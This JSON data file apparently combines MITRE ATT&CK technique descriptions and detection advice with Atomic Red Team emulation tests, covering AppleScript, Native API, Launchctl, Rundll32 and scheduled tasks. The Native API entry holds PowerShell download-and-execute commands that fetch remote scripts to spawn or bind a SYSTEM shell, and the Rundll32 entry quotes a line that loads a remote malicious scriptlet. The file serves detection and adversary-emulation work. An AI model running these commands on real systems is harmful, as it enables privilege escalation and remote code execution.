- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Scheduled Job: Scheduled Job Creation",
- "Command: Command Execution",
- "Container: Container Creation",
- "Process: Process Creation",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "Administrator",
- "User"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1059.002": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Phil Stokes, SentinelOne"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
- "created": "2020-03-09T14:07:54.329Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059.002",
- "url": "https://attack.mitre.org/techniques/T1059/002"
- },
- {
- "source_name": "Apple AppleScript",
- "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html",
- "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020."
- },
- {
- "source_name": "SentinelOne macOS Red Team",
- "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/",
- "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020."
- },
- {
- "source_name": "SentinelOne AppleScript",
- "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/",
- "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020."
- },
- {
- "source_name": "Macro Malware Targets Macs",
- "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/",
- "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script
or osascript -e \"script here\"
. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript
to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript
to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript
or OSAScript
, both of which execute code independent of the /usr/bin/osascript
command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",
- "modified": "2022-04-19T20:26:48.143Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Command and Scripting Interpreter: AppleScript",
- "x_mitre_detection": "Monitor for execution of AppleScript through osascript
and usage of the NSAppleScript
and OSAScript
APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_remote_support": false,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1059.002"
- },
- "atomic_tests": []
- },
- "T1106": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Gordon Long, Box, Inc., @ethicalhax",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
- "created": "2017-05-31T21:31:17.472Z",
- "x_mitre_version": "2.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1106",
- "url": "https://attack.mitre.org/techniques/T1106"
- },
- {
- "source_name": "MACOS Cocoa",
- "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1",
- "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020."
- },
- {
- "source_name": "Apple Core Services",
- "url": "https://developer.apple.com/documentation/coreservices",
- "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020."
- },
- {
- "source_name": "macOS Foundation",
- "url": "https://developer.apple.com/documentation/foundation",
- "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020."
- },
- {
- "source_name": "OutFlank System Calls",
- "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/",
- "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021."
- },
- {
- "source_name": "GNU Fork",
- "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html",
- "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020."
- },
- {
- "source_name": "CyberBit System Calls",
- "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/",
- "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021."
- },
- {
- "source_name": "GLIBC",
- "url": "https://www.gnu.org/software/libc/",
- "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020."
- },
- {
- "source_name": "LIBC",
- "url": "https://man7.org/linux/man-pages//man7/libc.7.html",
- "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020."
- },
- {
- "source_name": "Linux Kernel API",
- "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html",
- "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020."
- },
- {
- "source_name": "MDSec System Calls",
- "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/",
- "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021."
- },
- {
- "source_name": "Microsoft CreateProcess",
- "url": "http://msdn.microsoft.com/en-us/library/ms682425",
- "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014."
- },
- {
- "source_name": "Microsoft Win32",
- "url": "https://docs.microsoft.com/en-us/windows/win32/api/",
- "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020."
- },
- {
- "source_name": "Microsoft NET",
- "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework",
- "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020."
- },
- {
- "source_name": "NT API Windows",
- "url": "https://undocumented.ntinternals.net/",
- "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess
) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess()
or GNU fork()
will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).",
- "modified": "2022-04-19T20:30:00.118Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Native API",
- "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Module: Module Load"
- ],
- "x_mitre_remote_support": false,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1106"
- },
- "atomic_tests": [
- {
- "name": "Execution through API - CreateProcess",
- "auto_generated_guid": "99be2089-c52d-4a4a-b5c3-261ee42c8b62",
- "description": "Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "source_file": {
- "description": "Location of the CSharp source file to compile and execute",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs"
- },
- "output_file": {
- "description": "Location of the payload",
- "type": "path",
- "default": "%tmp%\\T1106.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{source_file} must exist on system.\n",
- "prereq_command": "if (Test-Path #{source_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1106/src/CreateProcess.cs\" -OutFile \"#{source_file}\"\n"
- }
- ],
- "executor": {
- "command": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /out:\"#{output_file}\" /target:exe #{source_file}\n%tmp%/T1106.exe\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique",
- "auto_generated_guid": "ce4e76e6-de70-4392-9efe-b281fc2b4087",
- "description": "Get SYSTEM shell - Pop System Shell using CreateProcess technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1')",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique",
- "auto_generated_guid": "7ec5b74e-8289-4ff2-a162-b6f286a33abd",
- "description": "Get SYSTEM shell - Bind System Shell using CreateProcess technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique",
- "auto_generated_guid": "e1f93a06-1649-4f07-89a8-f57279a7d60e",
- "description": "Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')",
- "name": "powershell"
- }
- }
- ]
- },
- "T1153": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1153",
- "url": "https://attack.mitre.org/techniques/T1153"
- },
- {
- "source_name": "Source Manual",
- "url": "https://ss64.com/bash/source.html",
- "description": "ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019."
- }
- ],
- "modified": "2020-03-30T13:40:14.512Z",
- "name": "Source",
- "description": "**This technique has been deprecated and should no longer be used.**\n\nThe source
command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments]
or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]
. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1152": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1152",
- "url": "https://attack.mitre.org/techniques/T1152"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- }
- ],
- "modified": "2020-03-10T18:31:00.336Z",
- "name": "Launchctl",
- "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"
. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting",
- "Whitelisting by file name or path"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1610": {
- "technique": {
- "x_mitre_platforms": [
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Pawan Kinger, @kingerpawan, Trend Micro",
- "Alfredo Oliveira, Trend Micro",
- "Idan Frimark, Cisco",
- "Center for Threat-Informed Defense (CTID)",
- "Magno Logan, @magnologan, Trend Micro",
- "Ariel Shuper, Cisco",
- "Vishwas Manral, McAfee",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
- "type": "attack-pattern",
- "created": "2021-03-29T16:51:26.020Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1610",
- "url": "https://attack.mitre.org/techniques/T1610"
- },
- {
- "source_name": "Docker Containers API",
- "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container",
- "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021."
- },
- {
- "source_name": "Kubernetes Dashboard",
- "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/",
- "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021."
- },
- {
- "source_name": "Kubeflow Pipelines",
- "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/",
- "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021."
- },
- {
- "source_name": "Aqua Build Images on Hosts",
- "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host",
- "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021."
- }
- ],
- "modified": "2022-04-01T13:14:58.939Z",
- "name": "Deploy a container",
- "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create
and start
APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Container: Container Creation",
- "Pod: Pod Modification",
- "Application Log: Application Log Content",
- "Pod: Pod Creation",
- "Container: Container Start"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1610"
- },
- "atomic_tests": []
- },
- "T1155": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1155",
- "url": "https://attack.mitre.org/techniques/T1155"
- },
- {
- "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/",
- "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
- "source_name": "Macro Malware Targets Macs"
- }
- ],
- "modified": "2020-04-14T13:26:00.846Z",
- "name": "AppleScript",
- "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang
program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script
or osascript -e \"script here\"
.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1085": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ricardo Dias",
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:06.045Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1085",
- "url": "https://attack.mitre.org/techniques/T1085"
- },
- {
- "source_name": "Trend Micro CPL",
- "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
- "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
- },
- {
- "source_name": "This is Security Command Line Confusion",
- "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
- "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
- }
- ],
- "modified": "2020-01-31T19:01:41.919Z",
- "name": "Rundll32",
- "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL
and Control_RunDLLAsUser
. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"
This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1053.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e",
- "created": "2019-12-03T12:59:36.749Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.001",
- "url": "https://attack.mitre.org/techniques/T1053/001"
- },
- {
- "source_name": "rowland linux at 2019",
- "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/",
- "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."
- },
- {
- "source_name": "GTFObins at",
- "url": "https://gtfobins.github.io/gtfobins/at/",
- "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."
- },
- {
- "source_name": "Kifarunix - Task Scheduling in Linux",
- "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/",
- "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
